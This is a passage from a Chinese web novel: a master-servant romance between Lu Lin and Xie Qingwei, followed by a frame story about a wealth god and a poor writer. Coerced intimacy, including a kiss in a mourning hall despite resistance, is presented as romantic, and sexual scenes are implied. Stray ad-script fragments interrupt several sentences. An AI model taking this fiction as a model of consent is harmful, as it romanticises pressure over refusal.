谢清微说:“是。” 陆凛有些气不过:“你都嫁给我了,为何还在给父亲熬药?我去找个下人来给父亲熬药。”说着,就要离开。 谢清微连忙拉住他:“少爷不要!这是老爷吩咐的,我嫁给您之后也要给老爷熬药的,否则老爷会生气的,老爷生气了对他的病不好,少爷你就让我熬药吧。” 陆凛沉着脸没说话,转身出去了。 谢清微给陆老将军喂过药之后,回来的时候看到陆凛在院子里练枪,感觉有些不妙。 他低头叫了声:“少爷。” 陆凛停下来问:“药喂完了?” 谢清微说:“喂完了。” “我去沐浴,你回屋等我。”陆凛说完,扔下枪走了。 谢清微便回到屋里坐着看书,看到昏昏欲睡的时候,听见开门关门的声音,他猛地惊醒,看到陆凛,一下子站起来叫了声少爷。 陆凛大步走过来,一把抱住谢清微的腰,盯着他问:“你刚刚跟我父亲,只是单纯的喂药吗?” 谢清微看着他说:“只是单纯的喂药。” “是吗?”陆凛看着他,眼神很沉,“我要检查检查。”说完,一把将谢清微抱起来走到床边把人放在床上。 陆凛确认了谢清微没有背叛他,抵着谢清微的额头说:“我很嫉妒,嫉妒你给父亲喂药。” 谢清微努力平复自己的呼吸,说:“少爷,奴才既嫁给了你,便不会做逾矩的事。” 陆凛顿时心安,亲了一下他的额头说:“好,我信你。” 陆凛又道:“你一个人太累,我找个人帮你一起熬药。” 谢清微犹豫了一下,说:“谢谢少爷。” 陆凛说:“你以后不要叫我少爷,叫我阿凛。” 谢清微沉默了一瞬,说:“好,阿凛。” 陆凛顿觉情动,低头吻住了谢清微的唇,“清微,我可以叫你清微吗?” 谢清微说:“少……阿凛叫奴才什么都可以。” 陆凛皱了下眉,说:“你也不要自称奴才,在我面前,你要自称我。” 谢清微抬头看了一眼陆凛,说:“好,阿凛。” “清微……清微………” 陆凛叫清微叫腻了,又叫:“宝贝………” “美人……” “先生……” 当叫到这句先生,谢清微睁开了眼睛。 陆凛一瞬欣喜:“你终于肯承认了吗?先生?” 谢清微看着陆凛,忽然有些无地自容,他嫁给了从前教过的学生,这个认知清晰地在他的脑海里印刻着。 谢清微双颊很红:“阿凛,如今你我身份变换,先前那些,便忘了吧。” 陆凛不解:“为何要忘?” 谢清微闭上眼睛,说:“你若不愿,那便记得吧。” 陆凛问:“清微,你生气了?” 谢清微说:“没有。” 陆凛说:“清微,你别生气,你让我忘我便忘了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,从现在开始,过去的一切我都不记得了,清微,你别生气了好不好?” 谢清微睁开眼睛,看着陆凛真挚的眼神,眼角落下了泪。 “你怎么哭了?清微?”陆凛手忙脚乱地给谢清微擦眼泪,“对不起,让你伤心了,清微,对不起……对不起……” 谢清微很愧疚:“你不用道歉……阿凛,是我自己的原因。” 陆凛看着谢清微,眼神真挚:“清微,你是我最最珍视的人,以后一定不让你伤心。” 谢清微垂下眼眸,说:“谢谢……阿凛。” 陆凛抱着谢清微安静地躺着,享受这好时光,直到下人来叫二人吃午饭。 下午,陆凛找了个下人帮谢清微熬药,熬药可以帮忙,喂药却不能。 谢清微为陆老将军喂完药,陆凛就在门口等他,帮他将碗洗了,便迫不及待地把人抱回屋。 陆凛想到之前那日听到谢清微和父亲的墙角,醋了起来,抱起谢清微让他坐在自己怀里,低头埋在他的颈窝里,“宝贝喜欢这样吗?” 谢清微处于迷乱中,也不好意思回答。 陆凛再接再厉,兴致起来作了首打油诗:“美人坐我怀,肌肤赛冰雪。” 谢清微羞得脸通红,忍不住去捂陆凛的嘴,陆凛趁机亲了一下谢清微的手心,谢清微立马抽回手,瞪了陆凛一眼,这一眼,含羞带怯,万种风情。 陆凛只觉口干舌燥,欲罢不能。 陆凛抓住谢清微的手,一根一根的吮吻。 谢清微看到陆凛眼神中的火热,要将他融化,生出怯意,想要逃走,却被陆凛拉着坐回来。 二人囫囵过了一下午的好时光,直到下人来叫二人吃晚饭。 谢清微下地时有些腿软,陆凛体贴地搀着他。 谢清微晚上给陆老将军喂完药,收拾着准备离开时,忽然听陆老将军道:“凛儿看来很喜欢你。” 谢清微收拾的动作停了一下,没说话。 陆老将军道:“尽快给凛儿添个子嗣,然后回到我身边。” 谢清微沉默了一瞬,说:“是,老爷。” 一年后,谢清微生了个女儿。 陆凛很满意,陆老将军不满意,要给陆凛娶妻,陆凛不同意,谢清微也劝陆凛娶妻,陆凛不可置信地看着谢清微:“清微,你真的要我娶妻?” 谢清微看着他,眼神淡漠:“是,老爷如今身体不比从前,我要去照顾老爷了,你把我休了吧,娶一个正妻,为你生儿育女。” 陆凛心中一震,他看着眼前的谢清微,觉得像个陌生人,一年来的恩爱像是假的。 “女儿才刚出生,你就要去照顾父亲,你到底多狠的心?!” 谢清微沉默了一瞬,说:“如果少爷不愿动笔,奴才代少爷写休书也是可以的,少爷如果喜欢奴才生的女儿,奴才愿意将女儿给少爷抚养。” 时隔一年,谢清微再次叫了少爷,自称回了奴才,好像他们的身份又变了回去,仿佛这一年的甜蜜,从来不存在一般。 陆凛看着谢清微冷漠的眼神,又僵硬地转头,看到上位坐着看戏的陆老将军,近乎癫狂地冲谢清微嘶吼:“谢清微,你究竟有没有爱过我?!” “你心里是不是一直只有父亲?那你嫁给我算什么?是父亲的意思?” “你们骗我!都骗我!” 陆凛冲了出去。 陆凛淋了一场雨回来,就生病了,迷迷糊糊间睁眼,看见谢清微在床头坐着,心里一喜。 谢清微见他醒了,站起了身,陆凛一把握住了谢清微的手,哑着嗓子说:“别走!” 谢清微拿出一张纸放在床头,对陆凛说:“少爷把这个签了,我就留下来照顾少爷直至少爷病好。” 陆凛看到上面写着休书。 20. 第五章 陆凛说:“我不可能签。” 谢清微说:“当初老爷疼你,才让奴才嫁给你,为你生个子嗣,现在奴才的任务已经完成,该回去照顾老爷了。如今少爷不签,就是不孝。” 陆凛闭上眼睛,他多么希望自己此刻是个聋子,他喃喃着:“我不相信,我不相信,这一年,你对我的情意是假的。” 谢清微说:“少爷,奴才只是奉命行事,对少爷只是主仆之情,少爷你忘了奴才吧,娶一个真心爱你的正妻。” “主仆之情?”陆凛觉得可笑,“你对我的主仆之情,竟然可以与我行夫妻之礼?” 谢清微不答。 陆凛又问:“我问你一句,你对我父亲,是什么样的感情?” 谢清微闭了闭眼,说:“奴才……喜欢老爷,嫁给少爷,是老爷的意思。” “好,好,好!”陆凛闭上眼睛,又睁开,看着谢清微的眼睛问:“我们的女儿你也不要了吗?” 谢清微连眼睛都不眨:“奴才对小姐,并无感情。” 陆凛沉默良久,签下了休书。 谢清微将休书收好,要来照顾陆凛,陆凛拂去了他的手:“别碰我,我嫌脏。” 谢清微僵硬地停在半空中,又收了回来,“那奴才去叫别人来照顾少爷。”说完,转身离开。 陆凛病好,看到谢清微已经将自己的东西都搬走了,偶尔在府里看见谢清微,也是视而不见地径直往前走。 女儿刚出生就没奶喝,陆凛给女儿请了个奶娘悉心照料。 谢清微从未来看过女儿,终日照顾陆老将军。 陆老将军的身体一天比一天差了,催着陆凛娶妻,陆凛嘴上答应,却从未行动过。 后来陆凛直接领了个姑娘到陆老将军面前,说这是自己中意的姑娘,要娶为正妻。 陆老将军看着姑娘笑了,对姑娘说,尽早为陆凛生个孩子。 陆凛带姑娘离开时,看了一眼谢清微,谢清微低垂着眼睫,看不清神色。 这年冬天,陆老将军去世了,府上的人都穿着白色丧服。 陆凛和谢清微轮流为陆老将军守灵。 这天晚上,轮到谢清微为陆老将军守灵了,谢清微晚上在灵堂迷迷糊糊睡着,忽然门被吹开了,听到动静醒来,起身去关门,看到门外站着的陆凛。 谢清微心中一震,强装镇静问:“少爷,这么晚了你怎么过来了?” 陆凛推开门进来,谢清微不由自主地后退。 陆凛站定,看向谢清微说:“我来看看父亲。” 谢清微垂眸:“少爷可是要为老爷上香?奴才帮您点香。”说完,转身去拿香。 谢清微走到案台前,正要拿香,忽然被一双大掌搂住了腰,他吓了一跳,转身看见陆凛近在咫尺的脸,眼神沉得吓人,他慌乱地挣扎:“少……少爷……你这是干什么?你放开奴才!” 陆凛低头,埋在谢清微的颈窝里说:“我好想你,清微。” 谢清微一怔,没有说话。 谢清微见陆凛久久没有动静,终于忍不住开口:“少爷,你放开奴才,奴才……奴才为你拿香。” 陆凛越箍越紧,瞪着谢清微的眼睛说:“你知道吗?女儿天天哭,为了父亲你连女儿都不要了,谢清微,你好狠的心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !” 谢清微说不出话,偏过头去,“这件事,确实是奴才错了。” 陆凛问:“错了,不需要补偿我和女儿吗?” 谢清微转过来,看进陆凛的眼睛:“少爷想要什么补偿?” 陆凛直直地看着他,说:“与我复婚。” 谢清微心中一震。 陆凛握住了谢清微的手,说:“不说话就当你同意了。” 谢清微想把手抽回来,陆凛攥得很紧,他抽不回来,垂眸说:“少爷,奴才……不配和少爷复婚。” 陆凛说:“你配不配,本少爷说了算。” 谢清微沉默了一瞬,说:“少爷已有心仪的姑娘,该好好待她,奴才祝少爷和夫人百年好合。” 陆凛攥着谢清微的手紧了紧,说:“没有什么心仪的姑娘,那是我找来给父亲看的。” 谢清微默了默,抬眸看着陆凛的眼睛说:“少爷的好意奴才……”他话还没有说完,陆凛就吻了下来。 谢清微反应过来,挣扎着说:“少爷,这里是老爷的灵堂……” 陆凛握住了他挣扎的手,说:“正好让父亲看看,你是谁的。” 谢清微挣扎间看见了尚未关好的门,睁大了眼睛:“少爷,少爷,门没关!” 陆凛说:“我来之前清退了下人,外面不会有人的。” 谢清微还是害怕,一味挣扎。 陆凛只好放开谢清微去关门,谢清微趁机跑到窗户边欲打开窗户跳窗,还没等他打开窗户就被陆凛一把抱住了腰。 陆凛将谢清微抱了下来,在他耳边咬了咬,说:“抓住你了,宝贝。” 21. 第六章 陆凛从怀里掏出一年前的那张休书,当着谢清微的面撕个粉碎:“谢清微,从现在起,你还是我的夫人。” …… “你分明想我。”陆凛的声音低哑,像石头磨过沙砾,让人后脊酥麻。 “美人儿,你说……我是不是比父亲好?” 谢清微闭着眼,对陆凛的话不予理会。 陆凛不满意谢清微的反应,不断地在他耳边宣示主权:“你是我的,谁也抢不走。” 谢清微睡着前,听见陆凛说:“你明日去给女儿喂奶吧,女儿都没吃过你的奶。” 第二日,谢清微在陆凛怀里醒来,抬头就是陆老将军的灵堂,他慌乱地坐起来穿衣服。 陆凛被惊醒,看见谢清微在穿衣服,忍不住调侃:“你怕什么?怕父亲从棺材里跳出来打你?” 谢清微连忙伸手捂住陆凛的嘴:“少爷这话可不能说!” 陆凛故技重施,趁机亲了一下谢清微的掌心,谢清微烫到似的抽回手。 两人穿好衣服去洗漱,谢清微想避嫌分开洗漱,却被陆凛拉住了手,光明正大地走在府里,“正好让府里的人都知道,你本来就是我的夫人。” 谢清微感觉异样的眼光追随了他一路。 他甚至感觉到旁人的眼光化成了一柄剑戳着他的脊梁骨。 陆凛看出来谢清微的顾虑,反而问他:“你丢下我和女儿去跟着父亲的时候,你认为府里的人怎么看你?” 谢清微垂眸不说话。 陆凛又问:“跟我在一起委屈你了?” 谢清微依旧沉默。 陆凛恼道:“你委屈也得受着,这是你欠我和女儿的。” 谢清微抿着唇,沉默着。 今日该陆凛守灵,两人洗漱完毕后,陆凛拉住谢清微,在他耳边说:“去给女儿喂奶。” 谢清微身子颤了一下,抬眸看向陆凛。 陆凛道:“你生了她,给她喂奶是你的责任。” 谢清微动了动唇,说:“是,少爷,奴才会去。” 陆凛皱着眉,想纠正谢清微的称呼,却没有开口。 于是,谢清微去往女儿的屋子,他一直都知道女儿住在哪里,却从来都没有看过女儿。 谢清微敲了敲门,奶娘问是谁。 谢清微报了名字,奶娘给他开了门。 奶娘对谢清微的到来并不感到意外,仿佛早就知道他会来一般。 谢清微一进屋,就听见孩子的哭闹声。 奶娘说孩子经常哭闹,一天要哭个五六次,她可愁了。 谢清微走近了,看见摇车里小小的孩子,说来也神奇,孩子看到谢清微,立马就不哭了,瞪着黑葡萄似的大眼睛看着他。 奶娘也叹:“公子是生育小姐的人,难怪小姐看到公子不哭了。” 奶娘又对谢清微说:“你可以抱抱他。” 谢清微不确定地问:“我可以吗?” “当然可以。” 奶娘说完,教谢清微抱起了孩子。 谢清微觉得这孩子真的好小,小小的一团,嘴里还吐着泡泡,孩子睁着大眼睛看谢清微,竟是咯咯笑了起来。 这是谢清微第一次来看这个小生命,从前与其说他不想见,倒不如说是羞于见,生而不养,他怎么敢去见? 从未见过,却能如此亲近,这是血脉相连的力量。 此刻,谢清微十分感谢这个小生命给予他的厚爱。 在奶娘的教授下,谢清微尝试着给孩子喂了奶,孩子喝完奶,在谢清微怀里甜甜地睡了过去。 接下来的守灵,陆凛没让谢清微去,让谢清微照顾女儿,谢清微便陪着女儿吃睡,直至陆老将军下葬。 这晚,谢清微刚给女儿喂完奶,便看到陆凛进来了。 谢清微轻轻拢起衣服,对陆凛说小点声,孩子睡了。 陆凛悄悄走过来坐到床边,亲了一下谢清微的脸,看着女儿的睡颜,心里一片柔软。 谢清微心惊胆战的,生怕陆凛把女儿吵醒,陆凛忽然伸手,把孩子从谢清微怀里抱走,放在了摇车里。 陆凛把孩子放好后,转过身看到跟过来一脸担忧的谢清微,一把将人打横抱起,走出去回到自己的房间,将谢清微放在床上,抵着谢清微的额头问:“这几天跟女儿相处得怎么样?” 谢清微说:“还好。” 陆凛又问:“以后还丢下女儿吗?” 谢清微想到女儿小小的那一团,顿时说:“不会了。” 陆凛道:“这可是你说的,不要食言。” 谢清微说:“不会食言。” 陆凛蹭了蹭谢清微的额头,声音低哑:“宝贝,你现在是不是应该补偿我了?” 谢清微感觉得到陆凛想要干什么,他顺从地闭上眼睛。 …… 陆凛问:“父亲有没有吃过?” 谢清微感觉到刺痛,睁开眼,看见陆凛眼里的深沉,别开眼,说:“少爷若是介意,可以放开奴才。” 陆凛顿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时感觉心里扎了根刺,用力抱紧了怀里的人,说:“我不会放开你。” 第二日,谢清微在陆凛怀里醒来,二人洗漱完一同去看了女儿。 谢清微欲解开衣服给女儿喂奶,看了看在旁边眼睛一眨不眨的陆凛,有些脸热:“少爷,可否转过去?” “你身上哪里我没看过?害羞什么。”陆凛这样说着,倒是转过了身去。 谢清微给女儿喂完奶拢好衣服就被陆凛揽过肩头搂在怀里,亲了亲他的额头,说:“清微,你知道这一幕我想了多久吗?” 谢清微低头看着怀里眼睛笑成月牙的女儿,心绪有些复杂,他心里一直藏着一件未了之事。 这日,陆凛去上朝,谢清微进了陆老将军住过的屋子,陆老将军刚下葬,下人还没来得及打扫屋子,屋子里的陈设跟在世的时候一样。 陆凛下朝回来,却不见谢清微的踪影,他满府寻找也没找到,下人们也都没看见谢清微去哪了,只说看见谢清微进了陆老将军的屋子,陆凛去陆老将军的屋子认真查看,没看见什么东西被动过。 转眼已过了三年。 陆凛在科举殿试的名单里看到一个名字,殿试完毕,他去了新科进士们的琼林宴。 宴席上觥筹交错,陆凛拿着酒杯径直走向一个人:“状元郎,可否赏脸与本将喝一杯?” 那人看着他,神色复杂,“能饮将军的酒,是在下的荣幸。”说罢,举起酒杯一饮而尽。 陆凛亦将杯中酒饮尽,看着那人问:“状元郎这几年过得可好?” 那人说:“尚可。” 陆凛还要说些什么,那人却转身去与旁人攀谈起来。 陆凛看见那人先离席了,便跟了上去。 他看到那人坐上轿子,他提气上房,用轻功跟了一路,直到那人进了屋子,他才跳下去,欲听里面动静时,听到里面人说:“将军跟了一路,想必是还有问题要问在下吧,那便进来吧。” 陆凛便不客气地推门进去了。 看到里面站着的人时,三年的思念恍若化作实质,几欲上前拥抱,却生生克制住脚步,他声音沙哑:“为何要走?” 谢清微闭了闭眼,说:“因为……我想追求我的梦。” 陆凛不解:“你的梦?你的梦是什么?考科举,中状元?加官进爵?功成名就?” 谢清微看着他说:“陆凛,我记得你问过我一个问题,你问我,当初为何要跟着你父亲。” “现在,我可以告诉你答案了。” 22. 第七章 谢清微说:“当年,我也是满心抱负去考科举,却不幸投宿一家黑店,他们发现了我身体的秘密,绑了我卖到红楼,是陆老将军为我赎了身,但我签了卖身契,一辈子都要为陆老将军驱使。” 陆凛突然想到什么:“所以三年前你离开之前去了父亲的屋子是为了撕掉卖身契?” 谢清微说:“是。” 陆凛又问:“那你为何要离开?你可以直接告诉我,我亦会支持你,你何必要自己来考科举?你一个人在外多危险?” 谢清微垂下眼眸,说:“因为,我在陆府,始终是下人,只有我出来了,才是我自己。” 又抬眸看着陆凛,目光清亮:“我不想过寄人篱下的生活了。” “我们的女儿你也不要了?你可知,你把她扔下三年,她还那么小,你真的忍心?” 谢清微缓缓垂眸:“我这辈子,大概最对不起的,就是她了吧。” 他说着,又抬眸看着陆凛:“可是将军,你知道吗?我是不想生孩子的,我只想考取功名,一展抱负,可是在陆府,我就只能做一个下人,服侍老爷,服侍你,我痛恨我有这样的身子,我也痛恨我会怀孕……但是我既然生下了她,我也不能不要她,这三年,我想到她,我也会心痛,我也……很想她……”他说着,捂住脸俯下了身子。 陆凛走上前,有些手足无措:“你……别哭了……” 谢清微哭了一会儿,抹了把脸,站起来背过身去说:“将军如果没有别的事,就回去吧,在下有些不方便,就不送了。” 陆凛冲上去一把抱住了谢清微的腰,说:“我不走,你在哪,我就在哪。” 谢清微怔了怔,问道:“将军……孩子可好?” 陆凛抱得紧了紧,蹭着谢清微的肩膀说:“不好,一点都不好。我送她去学堂,她每天下学都问我,为什么别的孩子都有娘,她没有娘。” 谢清微心中一痛。 陆凛说:“清微,跟我回去看看孩子吧,她很想你。” 谢清微说:“我才刚中科举,还未安排官职,现在无法抽身,需要等一等。” 陆凛说:“好,那这阵子,我就住你这里。” “不行将军,你是将军而我刚中了状元,你留在这里会招人闲……”谢清微话还没说完身子就被转过去吻住了唇。 陆凛蹭着他的额头,低喃:“清微,我好想你。” 谢清微心头一颤:“将军,夜深了,你还是……啊!” 谢清微话还未说完就被陆凛拦腰抱起,走到床上放下:“状元郎与本将本就是夫妻,本将在这留宿有可不可?” 谢清微皱眉还要说什么,陆凛咬了咬谢清微的耳朵说:“我夜行而来,不会有人看见,大不了天亮了我再回去。” “夫人出走三年,留本将独守空房,本将思念夫人好苦,现在夫人功成名就,如今也该为本将一解相思了。” 谢清微想要推拒,但心里十分愧疚,最终也就任由陆凛所为了。 谢清微很快便被安排了官职,适应一段时间后,便跟陆凛去看望女儿,三岁的小丫头见到好看的哥哥就扑了上去。 小丫头十分喜欢谢清微,叽里呱啦说了好多话,并邀请谢清微常来玩,谢清微笑着应下了。 谢清微为官后,才华接连展露,对人对事的见解独到,为百姓做了不少实事,得百姓交口称赞,皇帝颇为欣赏,官职一升再升直至丞相,一人之下万人之上。 谢相一生未娶,却与陆将军交往甚密。将军女儿出嫁时,谢相也去了,将军女儿拉着谢相哭了许久才上了花轿。 陆将军四十岁的时候,谢相与陆将军辞官归隐,游山玩水,嬉游天下。 小番外1: 谢清微为官后的一日晚上恩爱过后,陆凛在心里憋了许久,终于问出了这个问题:“为何你与父亲在一起那么久,却没有怀孕?” 谢清微忽然郑重地看着他说:“阿凛,这件事其实也一直憋在我心里很久了,今天你既然问了,我必须要跟你说清楚,我知道你是怕我难过,所以一直没有问过我当初被卖到红楼的事情,我的第一次是卖给了老爷,而老爷已经年纪大了,他没有真正碰过我,一直都是借助外物,这就是我跟着老爷一直没有怀孕的原因。后来三年漂泊在外,我都有认真保护自己。阿凛,我其实,一直都只有你一个。” 陆凛眼睛倏然大亮,他一把抱住谢清微大喊:“清微,我好开心!我好开心!” 他激动了一会儿,又想到什么,小心翼翼地问:“清微,这么多年,你有没有一点喜欢我?” 谢清微说:“阿凛,你还记得,那时你刚回府,你问过我有没有记得我教过你吗?其实,我一直记得你,当初,你是最让我操心的一个。你念了我十年,我亦何尝不是?后来有了女儿,我们的关系更无法割舍,阿凛,其实我很庆幸,与你有了女儿。” 陆凛想起他们成亲那一夜偷偷对谢清微说的话,看着谢清微,又惊又喜:“原来你都听见了?我以为你那时睡了。” 谢清微脸色微红,垂下眼眸说:“是,我都听见了。” “清微,我爱你。” 陆凛喜不自禁,搂住谢清微吻了下去。 红烛帐暖,映着心心相印的一双人。 小番外2: 回溯他们成亲那一夜陆凛说的话: 陆凛将谢清微抱在怀里,前所未有的满足,亲了一下谢清微的脸,抵着谢清微的额头说:“先生,我知道你就是先生,先生,我可以叫你清微吗?” 怀里的谢清微闭着眼睛,没有说话。 陆凛以为谢清微睡着了,放轻了声音说:“那我就叫你清微了。” “清微,你知道吗?十年前第一次见你,我就记住了你,后来搬走之后,我心里就一直念着你,念念不忘了十年。” “如今,我像是做梦一样,你在我怀里,我娶了你,你真的是我的了。” “早知道你会怀孕,我应该早一些回去找你,把你娶回家。” “说不定今天晚上你就怀了我的孩子了,我希望是个女儿,跟你一样好看,以后我们就一起抚养他长大,好不好?” “不说话我就当你答应了。” 陆凛有种窃喜的,找回失而复得的珍宝的感觉,紧紧抱着谢清微温热的身体,好像要融入骨血里。 陆凛最后轻轻亲了一下谢清微的额头,小声说:“清微,我喜欢你,我会一直对你好。” ——第二个话本完 齐彬怎么也想不明白,为什么好好的金元宝变成了破石头。 难道看见金元宝是他的幻觉? 不可能啊! 他记得真真切切,都啃到硬硬的金元宝了! 是不是他拿走了给财神爷的馒头,财神爷不高兴了来戏弄他? 这财神爷可真小气!一个馒头而已,竟然这么戏弄他! 他气鼓鼓地回家了,一推开门,看到了一个明月一般的美人,哦不,应该说是美男。 眼前这个男人长得非常好看,就像他话本里写的大美人那样好看,脸墨描雪砌一般精美,睫毛又浓又密,肤白胜雪,身姿修长如玉,尤其美的是那双眼睛如琉璃一般静透,有种清冷的美感,眨眼间却又波光潋滟。 他问:“你是谁?” 第二本穿完之后,沈桥又没忍住,偷偷下凡来看这个凡人了。 他上下打量了一下眼前这个凡人,一个容貌平平扔进人群里都找不见的普通凡人,就是这个人写的话本,让他在里面被折磨得死去活来的。 好,记仇了。 沈桥心里记了一笔,但面上波澜不惊地说:“沈桥,桥梁的桥。” 世人皆知有财神,却不知财神名为沈桥,这是他第一次对一个凡人说出他的真名,能让财神穿你的话本里,你这辈子也值了。 沈桥?他觉得这个名字很陌生,人也很陌生,他敢保证,如果他见过沈桥,他一定不会忘记,因为沈桥这张脸实在是太让人难以忘记了。 不过对方既然报了名字,他本着礼尚往来的原则也报了自己的名字,“在下姓齐名彬,彬彬有礼的彬。”然后他又迟疑了一下,“阁下来寒舍是为何事?” 沈桥道:“听说你写话本很有意思,我想来看看。” 齐彬的眼睛亮了亮,终于有人欣赏他写的话本了吗?!还是一个大美人!这真令人心情愉悦! 齐彬立马变得热情:“沈公子快进来坐!” 沈桥抬步走进去,看着周围简陋的环境,他是一刻也不愿意在这个地儿多呆。 齐彬如数家珍一般把他写的小说都拿了出来,一本一本厚厚的纸摞在了一起。 沈桥瞅了一眼,你是真能写啊!难不成这些都要他穿吗?他忽然有一种惊恐的感觉。 沈桥问:“有没有一本主角叫李承和谢久微的?” 齐彬连忙翻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出来其中一本,“这本,屠夫与天仙美人。” 喔,你这名字取得够直白的啊!沈桥看得咬牙切齿。 就是这本!让他纯洁的心灵不在!他被污染了啊啊啊啊! 沈桥又问:“那主角叫陆凛和谢清微的呢?” 齐彬赶紧又找出来另一本,“这本,父亲的管家成了我的新娘。” 沈桥牙齿咬得咯咯响,你个满脑子污秽思想的穷书生,害死我了! 看着沈桥津津有味地看着他的话本,齐彬的心情十分激动,他平时求人看都没人看的话本,眼前这个公子居然连着看了两本,“沈公子你是喜欢在下写的话本吗?” 写话本的人太多了,非常卷,能赚到钱的人非常少,他属于不赚钱的,可是他喜欢写。 现在突然出现一个大美人来看他的话本,他真的无比激动! 而且一般喜欢看这种话本的男人都是同道中人,他忍不住猜测:“难道沈公子你也是同道中人?” 齐彬说着,看着沈桥的眼神瞬间亮了好几个度。 沈桥脸都气绿了,连忙摆手:“不不不!我可不是!” 齐彬满脸失落,这么美的大美人竟然不是同道中人,以后不知道要便宜哪家姑娘。 不过他很奇怪,“既然沈公子不是同道中人为什么喜欢看在下的话本呢?” 沈桥编了个解释说:“家妹喜欢看。” 齐彬眼睛又亮晶晶了:“那令妹想买在下的话本吗?” 沈桥摇头说:“不想。” 齐彬顿时有些失落,但是好不容易有人喜欢他的话本,他打算试一试,反正也是放着,有人喜欢他就已经很满足了,更何况还是这么好看的公子的妹妹喜欢,他可以送一个人情,于是他问沈桥:“是买不起吗还是什么原因?既然令妹喜欢在下可以把话本送给她。” 沈桥说:“不用了,你赚钱也不容易。” “没关系的,难得令妹喜欢,好书赠美人,应该的。”齐彬说着,把沈桥说的两本整理好捧到他面前。 看着面前的两本书,沈桥的脸更绿了。 沈桥硬邦邦地说:“真的不用了,我家住很远,拿回去不方便。” 齐彬这个粗神经终于看出沈桥有些不开心,便不再坚持。 沈桥好不容易平复了被这穷书生气得要死的心情,开始问剧情中的疑问:“为什么这两本的……其中一个主角,都姓谢呢?” 他想,是不是这穷书生跟姓谢的有仇,所以才这么糟践姓谢的? 齐彬说:“当时只是随便想的,只是觉得谢这个姓取名好听……” 他说着,看了一眼容光摄人的沈桥,说:“公子的沈取名也好听,如果公子和令妹喜欢,我下一本的主角可以姓沈。” 沈桥脸又是一绿,姓沈他的代入感岂不是更强?忙道:“大可不必大可不必,你继续用谢就挺好。” 齐彬道:“不光是谢,还有别的姓,楚,秦……”说着,他的肚子忽然咕噜一声,他脸一下子红了,尴尬得很,“不好意思沈公子,我早上没吃饭。” 他想,兜里只有两个铜板,只够买两个馒头的,沈公子大老远特意来看他的话本,就请沈公子吃两个馒头也太尴尬了。 就在这时,门被大力踹开,走进来一个二流子模样的男人,凶神恶煞的吼:“上个月欠老子的二钱银子什么时候还?” 齐彬急了:“什么时候变二钱银子了,明明是二十文!” 他当时出版话本还差二十文,正好被这横行村里的恶霸看到了,他不想借,可是恶霸威胁他不借也得借,他只好硬着头皮借了,谁知道二十文怎么突然变二钱银子了?! “什么二十文,你欠了一个月,自然就是二钱银子!快还钱!不还钱把你这破屋子砸了!”那恶霸刚要抬腿踹,结果看见了旁边站着的沈桥,视线顿时粘在了沈桥身上:“哟!齐彬,这是谁啊?长得这么好看?” 这恶霸男女通吃,村里不少漂亮的男女被祸害了,齐彬赶紧挡在沈桥面前说:“没谁,路过问路的,公子你不是要去城里吗?快走吧,晚了城门关了就进不去了。” 先前的沈桥不懂这些男男之事,可穿过齐彬话本的沈桥一下子就懂了,想不到这凡人心肠还挺好的。当即作出一副恍然大悟的样子,“哦!是哦!那我就告辞了。” 沈桥说完,抬腿就要走,却被恶霸拦住,一脸色眯眯地看着他说:“美人儿你想去哪儿啊?” 23. 第八章 沈桥的法力完全可以对付这个猖狂的凡人,可是他是偷偷下凡的,如果妄动法力,是会被发现抓回天上惩戒的。 上次戏弄齐彬,他被抓回天上罚继续穿齐彬的话本,还是时明仙君给他求的情,这次若是再对凡人用法力,他不会还被抓回去继续穿话本吧?他总觉得不止穿话本那么简单,还是能不用则不用吧。 沈桥看着恶霸说:“我去哪儿与你有什么关系?” 那恶霸口气很大,一副对美人势在必得的样子,“当然有关系了,老子看上你了,要带你回家!” 沈桥想,他可以假装跟这人回家,然后找个机会回天上。 于是沈桥说:“我可以跟你回家。” 恶霸没想到这么容易,从前他抢漂亮的男女都是哭爹喊娘这个不愿那个不从的,没想到今天这个大美人这么顺从,真是捡到宝了! “那就跟老子走吧美人儿。”那恶霸迫不及待地伸手去拉沈桥的手,沈桥一下子避开,“不用拉我,我自己走。” 恶霸有些不高兴,可以看在美人儿愿意跟他回家的情况下也就忍了,他的视线在沈桥的身段流连,啧啧,腰真细啊!这带回家一定很爽! 他阅人无数,从没见过如此极品,皮肤像上好的羊脂玉,细腻光滑,泛着玉一样的光。 齐彬瞪大了眼睛,这美人怎么能跟恶霸走呢?简直是暴殄天物啊! 他忍不住叫住沈桥问:“沈公子!你真的要跟他走吗?” 沈桥点了点头,精致如玉的下颌像一幅秀美的画。 齐彬想,沈公子是不是因为帮他才跟恶霸走的?沈公子和恶霸素未谋面,而且沈公子一看就是大户人家的公子,没必要委身这样一个恶霸,他越想越确定,心里顿时感动得一塌糊涂。 他不能让沈公子为他牺牲! 他冲上去拉住沈桥的胳膊:“你不能跟他走!” “哎你这个死读书的!老子没动你你皮痒了是吧?” 恶霸登时来了劲,叫两个打手进来揍齐彬。 拳头顿时如雨点般落在齐彬身上,他忍着痛冲着沈桥叫:“沈公子你快走!不用管在下!” 沈桥觉得这个书生笨死了,胡乱来帮什么忙?你以为你很伟大吗? 你不要以为这样就能让我对你的仇恨一笔勾销! 沈桥听了齐彬的惨叫不断,终于忍不住拉了一下恶霸的胳膊:“别打他了,我们走吧。” “怎么?美人儿心疼了?”那恶霸顿时冲沈桥笑,脸上的褶子都能夹死苍蝇,呼出的口气差点没把沈桥熏死。 真是受不了这臭烘烘的凡人了!沈桥内心无限后悔自己为什么要下来一趟看这个臭书生,“谁心疼他啊,不想在这待了,你不走我走!”说完,抬腿就走。 恶霸见美人儿走了赶紧去追,结果发现美人儿竟然不见了!他那么大一个美人儿呢?! 恶霸左找右找都找不着美人儿,一股脑把气都撒在了齐彬身上,叫打手狠狠地打。 回到天上的沈桥有点担心,他走了齐彬会怎么样?别给打死了吧? 一个凡人而已,生死有命,他不该插手的。 可是……毕竟齐彬还不自量力想来救他来着,齐彬是为了他挨打的,沈桥心里有些不是滋味,齐彬要真是因为他死了,他肯定得内疚吧? 